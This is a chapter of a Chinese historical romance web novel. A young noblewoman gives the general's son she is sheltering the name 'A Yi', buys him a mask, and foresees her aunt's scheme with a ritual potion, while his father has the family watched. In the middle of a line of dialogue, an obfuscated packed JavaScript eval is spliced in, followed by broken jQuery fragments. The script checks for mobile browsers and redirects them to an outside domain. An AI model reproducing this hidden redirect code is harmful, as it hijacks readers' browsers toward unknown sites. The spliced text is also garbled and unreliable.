“阿熠……”
裴允晏重复了一遍,没想出什么名堂,虚心问道:“有什么说法吗?”
“熠,本意光耀鲜明,携火而来,”温云琛欣然抚掌,十分满意,“与你再适配不过了。”
几乎是她第一次见到裴允晏时的写照。
那时的他在火光照耀下,几乎是她眼中最明亮的存在。
裴允晏兀自反应了一会儿,眸光倏地明亮起来。
她的意思……她的意思是……
自己是她的光吗?!
温云琛还没看见,裴允晏在她没注意到的时候,眼神都要粘在她身上了,颇似痴汉。
马车在北街拐弯处一家不起眼的小铺前停下,周围两家灯笼铺几乎要把它的门脸遮住,若不是仔细看,是万万发现不了这地方的。
从前温云琛常在这里买面具,这掌柜似乎从来不怕自己没生意,也不吆喝宣传,缘来则赚,没缘喝稀饭。
“欢迎贵客光临。”
门被推开,掌柜立刻起身相迎:“不知这位女公子和……”他看到裴允晏,声音突然卡了一下,但很快还是恢复了笑脸,“公子,想看些什么面具?”
“掌柜为我这名侍卫选些面具罢,”温云琛笑意温和道,“太好看了,得遮住些。”
裴允晏懂了,温云琛是想关起门来自己看。
听她叫裴允晏“侍卫”,掌柜眼底划过异样的光彩,随后呵呵一笑,转过身从柜台里翻翻找找,最终拿出一张黑铁面具,恭敬地放在裴允晏面前。
“公子可看看这张,花纹繁复,是小店新收来的货品,戴上保准让别人看不出原本样子。”
这面具几乎遮住了整个上半张脸,上面花纹似鸟非鸟,似兽非兽。裴允晏看着倒是新鲜,拿起来往自己脸上一扣,转向温云琛:“淑女,我这样可还好看?”
“好看,”温云琛真心夸赞,“哪怕只有半张脸,阿熠还是如此夺目。”
不知是不是面具半遮颜的作用,这么若隐若现地看着裴允晏的五官,更有一种神秘危险的吸引力。
掌柜心中正盘算着什么,就听温云琛说:“就这个了。”
沉墨心领神会地递上银两。
“哎,好,”掌柜哈着腰笑脸道,“贵客慢走,有需要再来。”
等看着马车走远,掌柜便收了笑脸,悄悄关了店面,从无人注意的后门溜走,无声息地抄了一条小道,朝太尉府而去。
——
“你可看的清楚?确定又是温家?”
“属下确定没有看错,”面具铺掌柜恭敬地跪在裴太尉面前回话,“京城中的贵人,属下绝大部分都认得脸,虽然温家二娘子不常出门,但属下确定少将军身边的就是她。”
顿了片刻,掌柜又不确定道:“但温二娘子称呼少将军为‘阿熠’,属下不知是……”
端坐着的裴太尉终于睁开眼睛,眼底却满是不解。
温家和叛党有关系吗?阿晏怎么跟在温二娘子身边?怎么还叫了另外一个名字?听着还挺亲密……
他们之前并未调查过温家,难道此番北上阿晏还查出了和温家有关的事,这才……
那也不用亲自去做暗桩吧?
“还有一事,属下觉得当讲。”
“说。”
“少将军和温二娘子……好像关系颇为熟悉亲密。”
纵横沙场的老将脸上终于出现了裂痕,他不可置信地重复了一遍:“颇为亲密??”
声音还有点劈叉。
掌柜:“……昂。”
裴太尉立刻站起来,掌柜瞬间低下了头,就在他以为主子要发怒时,就听见裴太尉十分欣慰地大笑两声。
“哈哈哈哈哈……太好了,我以为这小子冷面冷心,没想到被温二娘子收了,”裴太尉左手手背往右手手心一拍,道,“哎呀,就是不确定这小子到温家究竟是做什么的,若温家底细不好……”
说着,裴太尉便脑补了一番温家同为叛党,但温二娘子却与自己儿子情定三生,裴允晏不得已灭了温家,最后自己也死在温二娘子尸身前的可怕故事。
不行不行不行。
裴太尉立刻把这恐怖话本甩出脑海,指着面具铺掌柜道:“你,去吩咐底下几个暗卫,这几日别盯着叛党余孽了,去盯着温家,尤其是少将军与温二娘子,把温家底细摸得清清楚楚,连他家祖坟在哪都得弄清楚。”
掌柜心中天将降大任的感觉油然而生,立刻答应:“是!”
怕不是温家是块难啃的骨头,主上对他委以重任啊!
裴太尉啧了声,还是按不住心中喜悦。
若温家底细真清清白白,那便能和夫人说说,早日为阿晏准备彩礼了……
——
温府门口,温云琛的马车终于停下。
浮白正等在门口等着接他家女公子,就见一个陌生的俊美男子先从车中出来。
浮白瞬间收了笑容。
这谁?
虽然戴着面具,但看着气度很是不凡,像谁家的公子哥。
裴允晏很快下车站定,朝车上人伸出手去,似在迎接。
温云琛怔了一下,随后面不改色地蜻蜓点水般扶上他的小臂,错开了温热的手掌,很快朝浮白走去。
裴允晏搓了搓手,啧了声。
难道他太唐突了?他们关系还没好到这个份上吗?
是了,虽说是天赐的良缘,但也才刚认识两日。
也罢也罢,往后时间长着呢。
浮白担心地看了眼戴着黑铁面具的男子,小声问:“女公子,这是谁啊?”
不知道为什么,她总觉得自从温云琛下马车后,周围温度低了些,让人发毛。
“是我新收的侍卫,叫阿熠,”温云琛觉得这事还是越少人知道越好,所以没打算说实话,“又能打又养眼,只是最近受伤了,需要多修养。”
浮白没反应过来受伤了是怎么看出能打的,只是懵懵地“哦”了声。
“我记得我院中西小阁还空着,收拾收拾给他住。”
西小阁虽然和她的卧房比起来简陋一些,但好歹和她的卧房隔着几条暖廊,又不至于出了她院子,是她能安排到的离她最近又符合礼数的地方了。
她喜欢清净,院中下人不多,西小阁更没人去,裴允晏在那,几乎不会被人发现。
阿父如今还在战场,家中虽说是由阿母做主,但阿母性格优柔寡断,若把裴允晏的身份告诉她,她怕是表情藏不住事,容易叫二房察觉。
到时候给她和裴允晏安上一个私相授受的名头,倒不好解释,还因为家中烂人连累了裴允晏。
她还记得自己捡裴允晏的初衷是要报恩的,不是给他惹麻烦。
浮白却一脸惊讶,声音都险些没收住:“女公子,那只是个侍卫!您竟然让他住咱们院子啊?”
“近身侍卫嘛,要近一点的,”温云琛知道浮白这是有点吃醋了,毕竟西小阁比她和沉墨住的房间精致,“他脾气也不好,非池中之物,可得供着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583743|171629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呢。”
浮白小心地扭过头看了一眼,就见那裴允晏冷着脸,不动声色地看着周围事物,和她对视时,竟有一种凉意从头窜到脚。
浮白打了一个寒颤,心说果然脾气不好。
可是刚才准备接她家女公子下来的时候明明是笑着的呀……
回府第一件事,温云琛便去见了阿母,温仲夫人听说温云琛回来,也是连忙去主屋相见,眼中冒精光:“阿琛觉得如何?那临安祠看着可大气庄重?”
“确实如此,”温云琛乖巧点头,顺着温仲夫人的话,“女儿替阿母看过了,临安祠香火鼎盛,京城不少贵人都去参拜,可见是值得信任的,二叔母所说的法事,不如尽快办了吧?再过一些时日,阿父便要回来了。”
听她这么说,温母正准备松口,就听门外有一声音传来:“不行!”
温云琛转头看去,赫然是自己的兄长温舟璟。
温家两兄弟都不曾纳妾,长房的子嗣便是温舟璟和她,二房只有温夕玉。
作为温家唯一的嫡子,这偌大家业定是会交到温舟璟手上的,前世二房正是惧着这点,才将阿兄毒死。
与阿父温绍不同,温舟璟并不习武,而是整日念书,都快念疯了,就想着有朝一日被举荐进御史台去。
武将在战场上以命赚功名,不信求神拜佛还能理解,文士——尤其像温舟璟这样快疯了的读书人,应该很信鬼神才对,怎么还“不行”了?
“阿璟,”温母欣喜地朝他招招手,“你何时从学堂回来了?”
“二叔母说家中将有法事,差人将儿叫了回来,”温舟璟面上没什么表情,一副学麻了的样子,朝温母一作揖,“阿母,这法事不能办。”
“为何?”
“儿去年便在临安祠求今年被召进御史台,如今并没有,可见并不可信。”
……怎么是因为这个?
温云琛扶额,把温舟璟拉到一边:“阿兄啊,你来……今年还没过完呢,你不能这么想。”
温舟璟瞥她一眼:“妹妹,为兄前年也是这么求的。”
温云琛:“……”
不能让他毁了自己的谋划!
不过相比起她,温仲夫人显得更着急,连忙说和道:“阿璟说笑了,这拜神仙可大有讲究,说不定是你沐浴焚香哪一步出错了,这才不成……对了,我找的那位道人啊,给了府上一些汤药,接连三日每日一碗,这才能做成法事。”
温舟璟不解:“还有这说法?二叔母莫不是诓我?”
“怎能呢,”说着,温仲夫人便让侍女端来了一碗,“这汤药我也找城中大夫看过了,安全得很,没毒。”
语毕,她自己先喝完了那一碗,擦擦嘴角:“看嘛,没事的。”
温云琛似乎想到了什么,目光一凛。
就是这汤药!
上一次,温云琛并无多想,如常喝了二房送来的汤药。在法事上,那梁道人带来三条蛇,毫不犹豫地就朝她游来,随后那梁道人便朝她脸上刺了一剑。
仔细想想,自己平日用的熏香从来不招蛇虫鼠蚁,那几日与平时唯一不同的便只有二房送来的药,她们八成就是在汤药中动了手脚,让她和其他人喝的不一样。
怪不得梁道人不用见温夕玉便能顺利区分出她们二人,原来是靠这个。
盯着那空了的药碗,温云琛心中嗤笑,盈盈一拜:“那便请二叔母差人将汤药分发下来吧,众人好提早准备。”
这场法事,可有的看呢。